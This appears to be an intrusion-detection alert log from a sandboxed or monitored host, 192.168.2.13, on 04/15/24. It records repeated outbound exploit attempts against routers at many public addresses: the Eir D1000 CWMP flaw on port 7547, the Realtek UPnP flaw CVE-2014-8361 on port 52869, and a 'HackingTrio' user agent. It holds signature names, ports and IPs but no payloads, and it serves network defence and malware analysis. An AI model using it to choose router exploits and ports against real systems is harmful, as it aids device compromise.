04/15/24-08:52:53.047643	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33180	52869	192.168.2.13	38.181.198.110
04/15/24-08:52:37.747332	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37522	7547	192.168.2.13	174.87.177.239
04/15/24-08:52:44.385564	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43160	7547	192.168.2.13	187.34.132.104
04/15/24-08:53:26.254161	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51788	7547	192.168.2.13	191.176.90.210
04/15/24-08:53:41.665703	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	43262	80	192.168.2.13	44.214.104.226
04/15/24-08:53:25.119425	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47964	7547	192.168.2.13	154.206.146.59
04/15/24-08:52:31.120687	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46872	52869	192.168.2.13	34.110.241.133
04/15/24-08:53:58.654495	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58824	7547	192.168.2.13	221.163.52.251
04/15/24-08:52:48.081854	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	49020	80	192.168.2.13	54.207.238.45
04/15/24-08:53:37.499236	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50010	7547	192.168.2.13	109.227.23.35
04/15/24-08:53:49.187770	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33190	7547	192.168.2.13	115.64.16.28
04/15/24-08:53:23.122347	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35056	7547	192.168.2.13	69.80.41.46
04/15/24-08:52:42.102961	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54334	7547	192.168.2.13	71.73.121.175
04/15/24-08:53:16.823302	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56692	52869	192.168.2.13	138.136.133.160
04/15/24-08:52:35.997250	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48222	7547	192.168.2.13	45.223.123.101
04/15/24-08:53:53.144655	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59592	7547	192.168.2.13	93.176.172.234
04/15/24-08:53:28.921919	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	55966	80	192.168.2.13	171.7.96.48
04/15/24-08:53:39.214355	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49956	7547	192.168.2.13	77.59.157.72
04/15/24-08:52:55.154836	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54368	7547	192.168.2.13	51.6.156.139
04/15/24-08:53:31.782203	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44220	7547	192.168.2.13	183.97.77.152
04/15/24-08:52:29.204654	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40304	7547	192.168.2.13	109.255.15.7
04/15/24-08:53:10.722790	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57816	7547	192.168.2.13	118.63.64.113
04/15/24-08:53:16.823302	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56692	52869	192.168.2.13	138.136.133.160
04/15/24-08:52:33.141494	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	48188	80	192.168.2.13	20.50.218.26
04/15/24-08:52:47.200458	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	32858	7547	192.168.2.13	51.211.83.159
04/15/24-08:53:48.827051	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45508	7547	192.168.2.13	175.205.220.251
04/15/24-08:53:58.080627	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45132	7547	192.168.2.13	121.238.181.123
04/15/24-08:52:45.915404	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41350	7547	192.168.2.13	71.218.231.169
04/15/24-08:52:49.786690	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59170	7547	192.168.2.13	109.145.136.110
04/15/24-08:52:55.099063	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42686	7547	192.168.2.13	59.11.175.63
04/15/24-08:53:49.566815	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43790	7547	192.168.2.13	49.207.178.58
04/15/24-08:52:56.006412	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54272	52869	192.168.2.13	101.102.220.137
04/15/24-08:53:51.613221	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	40958	80	192.168.2.13	108.159.219.217
04/15/24-08:52:44.530046	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46464	7547	192.168.2.13	99.238.240.146
04/15/24-08:52:37.056155	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59248	7547	192.168.2.13	191.19.45.199
04/15/24-08:53:42.304520	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58092	7547	192.168.2.13	69.146.21.164
04/15/24-08:53:40.479818	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33756	7547	192.168.2.13	47.149.241.164
04/15/24-08:53:31.586510	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55488	7547	192.168.2.13	188.29.240.227
04/15/24-08:53:53.059737	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36494	7547	192.168.2.13	222.116.185.253
04/15/24-08:53:36.633085	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	46796	80	192.168.2.13	178.170.248.54
04/15/24-08:53:43.132165	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35890	7547	192.168.2.13	191.61.178.123
04/15/24-08:52:35.906618	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46458	7547	192.168.2.13	115.23.216.29
04/15/24-08:52:42.982995	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53354	7547	192.168.2.13	99.234.28.251
04/15/24-08:53:07.641030	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	45476	80	192.168.2.13	23.128.88.112
04/15/24-08:52:28.452024	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60516	7547	192.168.2.13	151.251.68.81
04/15/24-08:53:22.002740	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53620	7547	192.168.2.13	172.76.84.173
04/15/24-08:52:58.027128	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38362	7547	192.168.2.13	59.30.60.157
04/15/24-08:53:16.798942	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	39018	80	192.168.2.13	190.166.33.208
04/15/24-08:53:26.911284	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	50486	80	192.168.2.13	34.195.41.222
04/15/24-08:52:38.031628	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38528	7547	192.168.2.13	99.248.156.166
04/15/24-08:52:43.872116	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40804	52869	192.168.2.13	139.39.192.129
04/15/24-08:52:52.320464	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44698	7547	192.168.2.13	191.33.118.176
04/15/24-08:53:47.945981	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37304	7547	192.168.2.13	179.104.77.188
04/15/24-08:53:49.757295	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57276	7547	192.168.2.13	175.208.35.1
04/15/24-08:52:45.600241	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48302	7547	192.168.2.13	211.52.55.208
04/15/24-08:53:16.669590	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56416	80	192.168.2.13	112.84.130.47
04/15/24-08:53:21.852891	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36144	7547	192.168.2.13	115.3.91.2
04/15/24-08:53:55.963142	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	46340	80	192.168.2.13	128.140.64.103
04/15/24-08:52:30.067904	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36578	7547	192.168.2.13	201.226.185.29
04/15/24-08:53:04.977464	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34884	7547	192.168.2.13	45.239.134.57
04/15/24-08:52:37.179064	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39192	7547	192.168.2.13	163.123.13.61
04/15/24-08:52:15.955416	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	51862	80	192.168.2.13	185.244.240.14
04/15/24-08:52:51.314859	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56642	7547	192.168.2.13	181.4.228.22
04/15/24-08:53:56.369188	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35684	7547	192.168.2.13	14.76.199.217
04/15/24-08:53:55.988404	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	51742	80	192.168.2.13	23.221.190.27
04/15/24-08:53:37.736353	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58502	7547	192.168.2.13	118.63.39.155
04/15/24-08:53:05.786470	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59710	7547	192.168.2.13	86.177.57.5
04/15/24-08:53:01.470466	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50428	7547	192.168.2.13	99.239.94.111
04/15/24-08:53:08.315896	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59678	7547	192.168.2.13	47.149.15.5
04/15/24-08:53:37.444399	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	32888	7547	192.168.2.13	86.161.230.198
04/15/24-08:52:46.218144	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49916	7547	192.168.2.13	177.62.41.219
04/15/24-08:52:28.357053	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53214	7547	192.168.2.13	221.147.219.44
04/15/24-08:53:25.865096	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34432	7547	192.168.2.13	27.235.100.62
04/15/24-08:52:22.917960	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40608	52869	192.168.2.13	81.199.207.140
04/15/24-08:52:43.007354	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37572	7547	192.168.2.13	14.87.222.8
04/15/24-08:52:15.790973	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	51528	80	192.168.2.13	20.141.70.208
04/15/24-08:52:35.809341	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48210	7547	192.168.2.13	45.223.123.101
04/15/24-08:52:27.039031	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38894	7547	192.168.2.13	218.146.232.66
04/15/24-08:52:31.120687	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46872	52869	192.168.2.13	34.110.241.133
04/15/24-08:52:49.722762	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41418	7547	192.168.2.13	121.166.94.196
04/15/24-08:53:34.565032	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	44420	80	192.168.2.13	23.207.96.179
04/15/24-08:53:17.370633	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56336	7547	192.168.2.13	175.241.110.45
04/15/24-08:53:21.749201	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49046	7547	192.168.2.13	47.204.2.236
04/15/24-08:53:28.912402	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36700	80	192.168.2.13	186.16.13.27
04/15/24-08:53:20.188641	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56782	52869	192.168.2.13	94.121.73.158
04/15/24-08:53:58.556796	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43378	7547	192.168.2.13	32.211.114.13
04/15/24-08:52:13.464961	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38676	52869	192.168.2.13	34.149.92.77
04/15/24-08:52:13.617441	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38724	52869	192.168.2.13	34.149.92.77
04/15/24-08:53:48.553710	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43830	7547	192.168.2.13	190.194.123.239
04/15/24-08:53:52.790028	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47748	7547	192.168.2.13	175.251.233.232
04/15/24-08:53:00.322386	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36958	52869	192.168.2.13	94.123.187.221
04/15/24-08:53:42.630301	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46834	7547	192.168.2.13	174.30.17.56
04/15/24-08:53:49.653112	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	53868	80	192.168.2.13	23.217.183.203
04/15/24-08:53:16.667888	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56420	80	192.168.2.13	112.84.130.47
04/15/24-08:53:22.842761	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35044	7547	192.168.2.13	69.80.41.46
04/15/24-08:53:31.497066	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60584	7547	192.168.2.13	190.192.8.166
04/15/24-08:53:37.451101	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41842	7547	192.168.2.13	183.98.165.249
04/15/24-08:53:32.503811	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44620	52869	192.168.2.13	178.135.97.217
04/15/24-08:53:21.981347	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44370	7547	192.168.2.13	31.45.203.234
04/15/24-08:53:29.039042	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	32804	80	192.168.2.13	149.28.84.6
04/15/24-08:53:42.962571	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33738	7547	192.168.2.13	99.236.83.244
04/15/24-08:52:39.826500	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44440	7547	192.168.2.13	201.42.174.180
04/15/24-08:53:54.505266	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36078	7547	192.168.2.13	116.206.128.152
04/15/24-08:52:14.130188	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36882	7547	192.168.2.13	45.251.36.209
04/15/24-08:52:55.351379	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57832	7547	192.168.2.13	124.219.137.204
04/15/24-08:53:18.526409	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37478	7547	192.168.2.13	97.70.29.201
04/15/24-08:53:00.322386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36958	52869	192.168.2.13	94.123.187.221
04/15/24-08:53:41.103177	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	45176	80	192.168.2.13	189.216.7.55
04/15/24-08:53:21.577179	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60108	7547	192.168.2.13	211.218.225.190
04/15/24-08:52:36.383386	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40588	7547	192.168.2.13	212.9.102.39
04/15/24-08:53:58.285387	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	52360	80	192.168.2.13	125.206.177.159
04/15/24-08:52:23.351518	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34092	7547	192.168.2.13	177.95.223.240
04/15/24-08:53:42.406305	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49628	7547	192.168.2.13	183.117.159.7
04/15/24-08:53:59.043229	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60234	7547	192.168.2.13	190.124.179.18
04/15/24-08:53:21.593318	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52758	7547	192.168.2.13	45.33.251.156
04/15/24-08:53:37.323845	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55702	7547	192.168.2.13	75.166.15.70
04/15/24-08:52:16.456909	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49038	7547	192.168.2.13	112.181.57.251
04/15/24-08:52:22.917960	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40608	52869	192.168.2.13	81.199.207.140
04/15/24-08:53:37.968751	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	57134	80	192.168.2.13	116.203.196.175
04/15/24-08:52:41.981100	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42360	7547	192.168.2.13	142.129.49.50
04/15/24-08:52:53.047643	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33180	52869	192.168.2.13	38.181.198.110
04/15/24-08:52:20.759674	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37380	7547	192.168.2.13	86.148.8.93
04/15/24-08:53:37.970615	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	42810	80	192.168.2.13	52.174.91.34
04/15/24-08:53:50.311554	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38400	7547	192.168.2.13	181.118.9.24
04/15/24-08:52:53.470898	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	46048	80	192.168.2.13	104.85.140.142
04/15/24-08:52:35.556417	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50804	7547	192.168.2.13	99.228.23.31
04/15/24-08:52:29.044406	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36014	80	192.168.2.13	2.34.150.234
04/15/24-08:53:21.489209	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	50164	80	192.168.2.13	70.122.224.30
04/15/24-08:53:52.815126	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56726	7547	192.168.2.13	197.203.82.105
04/15/24-08:53:32.503811	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44620	52869	192.168.2.13	178.135.97.217
04/15/24-08:52:40.214627	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	34138	80	192.168.2.13	37.238.252.248
04/15/24-08:52:13.464961	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38676	52869	192.168.2.13	34.149.92.77
04/15/24-08:53:48.182354	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49892	7547	192.168.2.13	183.124.126.76
04/15/24-08:53:21.606329	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	43840	80	192.168.2.13	95.230.110.228
04/15/24-08:53:32.772027	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46774	7547	192.168.2.13	186.152.8.53
04/15/24-08:52:28.796197	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	55434	80	192.168.2.13	159.134.172.137
04/15/24-08:53:42.782058	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41916	7547	192.168.2.13	14.65.239.234
04/15/24-08:53:08.908192	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43128	7547	192.168.2.13	2.91.191.209
04/15/24-08:53:46.859403	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56778	7547	192.168.2.13	200.127.30.18
04/15/24-08:53:04.774155	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44850	7547	192.168.2.13	41.10.146.216
04/15/24-08:53:08.268144	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46914	7547	192.168.2.13	125.168.100.247
04/15/24-08:53:37.755100	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	32910	7547	192.168.2.13	86.161.230.198
04/15/24-08:53:49.788733	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52718	7547	192.168.2.13	186.7.123.8
04/15/24-08:52:52.799031	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	51426	80	192.168.2.13	34.160.142.8
04/15/24-08:53:43.191466	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44222	7547	192.168.2.13	84.74.124.103
04/15/24-08:52:13.611729	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53494	7547	192.168.2.13	104.240.53.105
04/15/24-08:52:20.031783	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52764	7547	192.168.2.13	14.73.239.115
04/15/24-08:53:41.311587	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	37394	80	192.168.2.13	202.215.132.75
04/15/24-08:53:07.534860	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58694	80	192.168.2.13	154.80.199.79
04/15/24-08:53:58.925151	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53098	7547	192.168.2.13	199.254.110.54
04/15/24-08:53:48.765288	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40704	7547	192.168.2.13	50.41.160.227
04/15/24-08:53:31.195569	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60570	7547	192.168.2.13	190.192.8.166
04/15/24-08:53:16.494594	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58862	80	192.168.2.13	104.20.97.234
04/15/24-08:52:19.799528	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37190	7547	192.168.2.13	197.26.224.230
04/15/24-08:53:04.736042	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48272	7547	192.168.2.13	71.33.150.165
04/15/24-08:53:21.704277	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	49618	80	192.168.2.13	20.150.88.104
04/15/24-08:53:46.899411	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38006	7547	192.168.2.13	177.97.77.112
04/15/24-08:53:00.904149	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51926	7547	192.168.2.13	78.134.22.36
04/15/24-08:52:20.132733	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38964	7547	192.168.2.13	121.122.75.251
04/15/24-08:53:10.058834	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58058	52869	192.168.2.13	138.137.77.164
04/15/24-08:53:27.558135	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56644	7547	192.168.2.13	115.18.55.39
04/15/24-08:53:10.681095	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56248	52869	192.168.2.13	45.43.225.196
04/15/24-08:52:19.792848	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38934	7547	192.168.2.13	121.122.75.251
04/15/24-08:52:45.035619	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38734	7547	192.168.2.13	187.32.29.9
04/15/24-08:53:43.834108	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42980	7547	192.168.2.13	154.240.16.220
04/15/24-08:52:28.998539	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	43162	80	192.168.2.13	197.15.85.172
04/15/24-08:53:38.350741	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39630	7547	192.168.2.13	72.191.42.237
04/15/24-08:53:42.119832	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37248	7547	192.168.2.13	222.101.168.128
04/15/24-08:52:19.852296	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58836	7547	192.168.2.13	47.187.9.45
04/15/24-08:52:55.925460	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37402	52869	192.168.2.13	199.208.108.1
04/15/24-08:53:31.237251	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55474	7547	192.168.2.13	188.29.240.227
04/15/24-08:53:37.727065	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34624	7547	192.168.2.13	220.117.6.143
04/15/24-08:53:56.372286	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53522	7547	192.168.2.13	181.231.135.246
04/15/24-08:53:09.782170	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58054	52869	192.168.2.13	138.137.77.164
04/15/24-08:52:46.201656	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45354	52869	192.168.2.13	154.214.115.248
04/15/24-08:53:57.577510	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38812	52869	192.168.2.13	178.135.107.248
04/15/24-08:52:39.734683	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37496	7547	192.168.2.13	71.222.190.222
04/15/24-08:52:54.812739	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42668	7547	192.168.2.13	59.11.175.63
04/15/24-08:53:21.922295	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56800	7547	192.168.2.13	165.51.2.23
04/15/24-08:53:42.919939	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49378	7547	192.168.2.13	89.181.14.231
04/15/24-08:52:42.487401	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35246	7547	192.168.2.13	5.201.131.17
04/15/24-08:53:48.694642	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42984	7547	192.168.2.13	47.149.176.153
04/15/24-08:53:32.924029	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47498	7547	192.168.2.13	107.147.202.121
04/15/24-08:52:13.839570	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33160	7547	192.168.2.13	14.72.205.163
04/15/24-08:52:55.174193	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42026	7547	192.168.2.13	191.61.145.209
04/15/24-08:53:21.499940	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46356	52869	192.168.2.13	109.36.156.187
04/15/24-08:52:14.127291	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33190	7547	192.168.2.13	14.72.205.163
04/15/24-08:52:28.650969	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	39554	80	192.168.2.13	104.20.160.36
04/15/24-08:52:39.844356	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	53352	80	192.168.2.13	50.2.254.11
04/15/24-08:53:18.336252	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44382	7547	192.168.2.13	94.123.49.193
04/15/24-08:52:31.919576	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55418	7547	192.168.2.13	14.74.199.127
04/15/24-08:53:06.425230	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56688	80	192.168.2.13	3.232.250.104
04/15/24-08:53:43.075211	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42006	7547	192.168.2.13	14.65.239.234
04/15/24-08:53:01.918999	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59390	7547	192.168.2.13	35.141.47.175
04/15/24-08:53:07.448171	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	34100	80	192.168.2.13	16.182.100.252
